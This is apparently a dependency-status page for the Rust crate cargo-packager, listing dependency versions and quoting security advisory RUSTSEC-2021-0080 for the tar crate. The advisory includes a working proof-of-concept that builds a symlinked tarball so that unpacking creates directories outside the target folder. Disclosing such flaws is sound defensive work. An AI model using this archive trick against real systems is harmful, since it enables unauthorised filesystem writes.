This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate cargo-packager

Dependencies

(42 total, 12 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 ar^0.90.9.0up to date
 base64^0.220.22.1up to date
 cargo-packager-utils^0.1.10.1.1up to date
 cargo_metadata^0.180.20.0out of date
 clap^4.54.5.40up to date
 dirs^5.06.0.0out of date
 dunce^11.0.5up to date
 flate2^1.01.1.2up to date
 glob^0.30.3.2up to date
 handlebars^5.16.3.2out of date
 heck^0.50.5.0up to date
 hex^0.40.4.3up to date
 tauri-icns^0.10.1.0up to date
 image^0.250.25.6up to date
 md5^0.70.8.0out of date
 minisign^0.70.7.9up to date
 native-tls^0.20.2.14up to date
 once_cell^1.191.21.3up to date
 os_pipe^11.2.2up to date
 plist^11.7.4up to date
 regex^1.101.11.1up to date
 relative-path^1.92.0.1out of date
 schemars^0.81.0.4out of date
 semver^11.0.26up to date
 serde^1.01.0.219up to date
 serde_json^1.01.0.140up to date
 sha1^0.100.10.6up to date
 sha2^0.100.10.9up to date
 strsim^0.110.11.1up to date
 tar ⚠️^0.40.4.44maybe insecure
 tempfile^33.20.0up to date
 thiserror^1.02.0.12out of date
 time^0.30.3.41up to date
 toml^0.80.9.0out of date
 tracing^0.10.1.41up to date
 tracing-subscriber^0.30.3.19up to date
 ureq^2.103.0.12out of date
 uuid^11.17.0up to date
 walkdir^22.5.0up to date
 windows-sys^0.520.60.2out of date
 winreg^0.520.55.0out of date
 zip^0.64.2.0out of date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!